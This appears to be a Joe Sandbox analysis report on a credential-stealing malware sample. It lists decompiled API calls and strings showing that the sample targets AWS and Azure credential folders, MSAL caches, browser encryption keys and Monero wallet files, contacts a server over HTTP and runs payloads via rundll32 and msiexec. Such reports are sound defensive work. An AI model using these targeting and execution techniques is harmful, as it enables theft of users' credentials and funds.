SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0034CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0034CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0034CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0034CAD9
StrStrA.SHLWAPI(?,00FBD288,00360B52), ref: 0034CAF7
StrStrA.SHLWAPI(00000000,00FBD3A8), ref: 0034CB1E
StrStrA.SHLWAPI(?,00FBDB00,00000000,?,00361458,00000000,?,00000000,00000000,?,00FB98C8,00000000,?,00361454,00000000,?), ref: 0034CCA2
StrStrA.SHLWAPI(00000000,00FBDB20), ref: 0034CCB9

Part of subcall function 0034C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0034C871
Part of subcall function 0034C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0034C87C

StrStrA.SHLWAPI(?,00FBDB20,00000000,?,0036145C,00000000,?,00000000,00FB9908), ref: 0034CD5A
StrStrA.SHLWAPI(00000000,00FB97E8), ref: 0034CD71

Part of subcall function 0034C820: lstrcat.KERNEL32(?,00360B46), ref: 0034C943
Part of subcall function 0034C820: lstrcat.KERNEL32(?,00360B47), ref: 0034C957
Part of subcall function 0034C820: lstrcat.KERNEL32(?,00360B4E), ref: 0034C978

lstrlen.KERNEL32(00000000), ref: 0034CE44
CloseHandle.KERNEL32(00000000), ref: 0034CE9C

Strings

, xrefs: 0034C9C6

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 10d42148a7489d9cb3a2c1a739ac8f782f5897011eb568e1ff776c007043f135
Instruction ID: 78869cfef26208ae8beba1c1cf30f449c263a22489987602f966919f9a5a9575
Opcode Fuzzy Hash: 10d42148a7489d9cb3a2c1a739ac8f782f5897011eb568e1ff776c007043f135
Instruction Fuzzy Hash: 47E1F271910508ABDB16EBA0DC95FEEB778BF14301F404259F9067B1A1EF306A4EEB61

Function 00358320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0035A740: lstrcpy.KERNEL32(00360E17,00000000), ref: 0035A788

RegOpenKeyExA.ADVAPI32(00000000,00FBB2E8,00000000,00020019,00000000,003605B6), ref: 003583A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00358426
wsprintfA.USER32 ref: 00358459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0035847B
RegCloseKey.ADVAPI32(00000000), ref: 0035848C
RegCloseKey.ADVAPI32(00000000), ref: 00358499

Part of subcall function 0035A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0035A7E6

Strings

?, xrefs: 0035837A
%s\%s, xrefs: 0035844D
- , xrefs: 003585A3

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 668604be8fc7f475443f4dbc3e06e63a4d51f948aec766f4b138cae27a69b9c3
Instruction ID: 64e09cb10532675955416ba166dd4172111353a768a202743fd145ba21c65c0d
Opcode Fuzzy Hash: 668604be8fc7f475443f4dbc3e06e63a4d51f948aec766f4b138cae27a69b9c3
Instruction Fuzzy Hash: 6C812D7191011CABEB29DB50CC91FEAB7B8FF18701F008299E909A6150DF756B89DFA1

Function 00354D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00358DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00358E0B

lstrcat.KERNEL32(?,00000000), ref: 00354DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00354DCD

Part of subcall function 00354910: wsprintfA.USER32 ref: 0035492C
Part of subcall function 00354910: FindFirstFileA.KERNEL32(?,?), ref: 00354943

lstrcat.KERNEL32(?,00000000), ref: 00354E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00354E59

Part of subcall function 00354910: StrCmpCA.SHLWAPI(?,00360FDC), ref: 00354971
Part of subcall function 00354910: StrCmpCA.SHLWAPI(?,00360FE0), ref: 00354987
Part of subcall function 00354910: FindNextFileA.KERNEL32(000000FF,?), ref: 00354B7D
Part of subcall function 00354910: FindClose.KERNEL32(000000FF), ref: 00354B92

lstrcat.KERNEL32(?,00000000), ref: 00354EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00354EE5

Part of subcall function 00354910: wsprintfA.USER32 ref: 003549B0
Part of subcall function 00354910: StrCmpCA.SHLWAPI(?,003608D2), ref: 003549C5
Part of subcall function 00354910: wsprintfA.USER32 ref: 003549E2
Part of subcall function 00354910: PathMatchSpecA.SHLWAPI(?,?), ref: 00354A1E
Part of subcall function 00354910: lstrcat.KERNEL32(?,00FBE8E8), ref: 00354A4A
Part of subcall function 00354910: lstrcat.KERNEL32(?,00360FF8), ref: 00354A5C
Part of subcall function 00354910: lstrcat.KERNEL32(?,?), ref: 00354A70
Part of subcall function 00354910: lstrcat.KERNEL32(?,00360FFC), ref: 00354A82
Part of subcall function 00354910: lstrcat.KERNEL32(?,?), ref: 00354A96
Part of subcall function 00354910: CopyFileA.KERNEL32(?,?,00000001), ref: 00354AAC
Part of subcall function 00354910: DeleteFileA.KERNEL32(?), ref: 00354B31

Strings

\.aws\, xrefs: 00354E4D
\.azure\, xrefs: 00354DC1
Azure\.azure, xrefs: 00354DD3
*.*, xrefs: 00354DD8
*.*, xrefs: 00354E64
Azure\.aws, xrefs: 00354E5F
\.IdentityService\, xrefs: 00354ED9
Azure\.IdentityService, xrefs: 00354EEB
msal.cache, xrefs: 00354EF0

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: edeb8cb788e2cb21778635a583bb2b200bfc4e4f5cb0857c547bc66e0cc59f40
Instruction ID: 9df7d16568f9bd1365522a4dbe87656185509a057c8722e2541d842716c7d0f2
Opcode Fuzzy Hash: edeb8cb788e2cb21778635a583bb2b200bfc4e4f5cb0857c547bc66e0cc59f40
Instruction Fuzzy Hash: 8C41D4BA95020867DB15F760EC47FED3378AB24705F004594B9896A0C5FEB46BCC9BA2

Function 00359010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0035906C

Strings

image/jpeg, xrefs: 00359136

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 813014bc94cbd3130b8a0471f8668d1cd679302ce8c202f73d42ea34207e858d
Instruction ID: 00c54de52472c1af8619b29a67ec44cc24e5eb1e9bf51613a645cfcb687d5a5e
Opcode Fuzzy Hash: 813014bc94cbd3130b8a0471f8668d1cd679302ce8c202f73d42ea34207e858d
Instruction Fuzzy Hash: 2D71DC71910208EBDB04DFE4DC89FEEB7B8BB58701F108509F915AB294DB34A949DB61

Function 00352E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0035A740: lstrcpy.KERNEL32(00360E17,00000000), ref: 0035A788

ShellExecuteEx.SHELL32(0000003C), ref: 003531C5
ShellExecuteEx.SHELL32(0000003C), ref: 0035335D
ShellExecuteEx.SHELL32(0000003C), ref: 003534EA

Strings

/i ", xrefs: 003533E4
.msi, xrefs: 00353398
C:\Windows\system32\rundll32.exe, xrefs: 00353332
C:\Windows\system32\msiexec.exe, xrefs: 003534BF
/passive, xrefs: 0035345B
.dll, xrefs: 003531E5
"" , xrefs: 0035309A
<, xrefs: 00353490

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: d13fb5f86b875b8ce5e323329895a82a49a5eb6682a90b9b2cc2ffc6f28a51cd
Instruction ID: 73736bfba19736b72ac644e659882f13e1e9abfd61435ea787e933adc3174d80
Opcode Fuzzy Hash: d13fb5f86b875b8ce5e323329895a82a49a5eb6682a90b9b2cc2ffc6f28a51cd
Instruction Fuzzy Hash: C912F1718005189ADB1AEBA0DC92FDEB778BF14301F504259F9067A1A1EF742B4EDF52

Function 003552C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0035A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0035A7E6

Part of subcall function 00346280: InternetOpenA.WININET(00360DFE,00000001,00000000,00000000,00000000), ref: 003462E1
Part of subcall function 00346280: StrCmpCA.SHLWAPI(?,00FBE858), ref: 00346303
Part of subcall function 00346280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00346335
Part of subcall function 00346280: HttpOpenRequestA.WININET(00000000,GET,?,00FBE2E0,00000000,00000000,00400100,00000000), ref: 00346385
Part of subcall function 00346280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 003463BF
Part of subcall function 00346280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 003463D1

Part of subcall function 0035A8A0: lstrcpy.KERNEL32(?,00360E17), ref: 0035A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00355318
lstrlen.KERNEL32(00000000), ref: 0035532F

Part of subcall function 00358E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00358E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00355364
lstrlen.KERNEL32(00000000), ref: 00355383
lstrlen.KERNEL32(00000000), ref: 003553AE

Part of subcall function 0035A740: lstrcpy.KERNEL32(00360E17,00000000), ref: 0035A788

Strings

ERROR, xrefs: 003554A9
ERROR, xrefs: 003553B9
ERROR, xrefs: 0035530A
ERROR, xrefs: 0035546F
ERROR, xrefs: 00355432

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: d06fd0f234cbf332e502fefcead6ac27791d9d2765f33ba15e3ce233fe14a157
Instruction ID: 06836b89473d19304ca41b0cd0c9102d4ad93e8a3fb7221891980223c535d4c9
Opcode Fuzzy Hash: d06fd0f234cbf332e502fefcead6ac27791d9d2765f33ba15e3ce233fe14a157
Instruction Fuzzy Hash: 89510C709105489BDB16FF60C996EED7B79AF10302F504118EC066E5A2EF346B4DEB62

Function 003512D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 21d1b0276d02e28b6fc928cff9ee26574f265ca97cc77ae55edc8a3005d20798
Instruction ID: ad10f30ed8ce4fbb0654131825815dc0f1cbc547c870dd352fe43c733e495079
Opcode Fuzzy Hash: 21d1b0276d02e28b6fc928cff9ee26574f265ca97cc77ae55edc8a3005d20798
Instruction Fuzzy Hash: 96C1C7B590020C9BCB15EF60DC89FEA7778BF64305F004599F90A6B161EB70AA89DF91

Function 00354280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00358DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00358E0B

lstrcat.KERNEL32(?,00000000), ref: 003542EC
lstrcat.KERNEL32(?,00FBE1A8), ref: 0035430B
lstrcat.KERNEL32(?,?), ref: 0035431F
lstrcat.KERNEL32(?,00FBD108), ref: 00354333

Part of subcall function 0035A740: lstrcpy.KERNEL32(00360E17,00000000), ref: 0035A788

Part of subcall function 00358D90: GetFileAttributesA.KERNEL32(00000000,?,00341B54,?,?,0036564C,?,?,00360E1F), ref: 00358D9F

Part of subcall function 00349CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00349D39

Part of subcall function 003499C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003499EC
Part of subcall function 003499C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00349A11
Part of subcall function 003499C0: LocalAlloc.KERNEL32(00000040,?), ref: 00349A31
Part of subcall function 003499C0: ReadFile.KERNEL32(000000FF,?,00000000,0034148F,00000000), ref: 00349A5A
Part of subcall function 003499C0: LocalFree.KERNEL32(0034148F), ref: 00349A90
Part of subcall function 003499C0: CloseHandle.KERNEL32(000000FF), ref: 00349A9A

Part of subcall function 003593C0: GlobalAlloc.KERNEL32(00000000,003543DD,003543DD), ref: 003593D3

StrStrA.SHLWAPI(?,00FBE2B0), ref: 003543F3
GlobalFree.KERNEL32(?), ref: 00354512

Part of subcall function 00349AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N4,00000000,00000000), ref: 00349AEF
Part of subcall function 00349AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00344EEE,00000000,?), ref: 00349B01
Part of subcall function 00349AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N4,00000000,00000000), ref: 00349B2A
Part of subcall function 00349AC0: LocalFree.KERNEL32(?,?,?,?,00344EEE,00000000,?), ref: 00349B3F

lstrcat.KERNEL32(?,00000000), ref: 003544A3
StrCmpCA.SHLWAPI(?,003608D1), ref: 003544C0
lstrcat.KERNEL32(00000000,00000000), ref: 003544D2
lstrcat.KERNEL32(00000000,?), ref: 003544E5
lstrcat.KERNEL32(00000000,00360FB8), ref: 003544F4

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 7a52b7fb43e871bc41be9980eb7fb8fe5d089888b40b4b9719329b40e1c8f5c0
Instruction ID: d144d6103a5fa8171b48aea0ad00a8ce9665d1d444f4e6b4420ae8ca428b11d9
Opcode Fuzzy Hash: 7a52b7fb43e871bc41be9980eb7fb8fe5d089888b40b4b9719329b40e1c8f5c0
Instruction Fuzzy Hash: F9716B76900208ABDB15EBA0DC85FEE73B9AB58301F004599FA05A7191EB34DB4DDF61

Function 00341310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 003412A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 003412B4
Part of subcall function 003412A0: RtlAllocateHeap.NTDLL(00000000), ref: 003412BB
Part of subcall function 003412A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 003412D7
Part of subcall function 003412A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 003412F5
Part of subcall function 003412A0: RegCloseKey.ADVAPI32(?), ref: 003412FF

lstrcat.KERNEL32(?,00000000), ref: 0034134F
lstrlen.KERNEL32(?), ref: 0034135C
lstrcat.KERNEL32(?,.keys), ref: 00341377

Part of subcall function 0035A740: lstrcpy.KERNEL32(00360E17,00000000), ref: 0035A788

Part of subcall function 0035A9B0: lstrlen.KERNEL32(?,00FB9848,?,\Monero\wallet.keys,00360E17), ref: 0035A9C5
Part of subcall function 0035A9B0: lstrcpy.KERNEL32(00000000), ref: 0035AA04
Part of subcall function 0035A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0035AA12

Part of subcall function 0035A8A0: lstrcpy.KERNEL32(?,00360E17), ref: 0035A905

Part of subcall function 00358B60: GetSystemTime.KERNEL32(00360E1A,00FAF740,003605AE,?,?,003413F9,?,0000001A,00360E1A,00000000,?,00FB9848,?,\Monero\wallet.keys,00360E17), ref: 00358B86

Part of subcall function 0035A920: lstrcpy.KERNEL32(00000000,?), ref: 0035A972
Part of subcall function 0035A920: lstrcat.KERNEL32(00000000), ref: 0035A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00341465

Part of subcall function 0035A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0035A7E6

Part of subcall function 003499C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003499EC
Part of subcall function 003499C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00349A11
Part of subcall function 003499C0: LocalAlloc.KERNEL32(00000040,?), ref: 00349A31
Part of subcall function 003499C0: ReadFile.KERNEL32(000000FF,?,00000000,0034148F,00000000), ref: 00349A5A
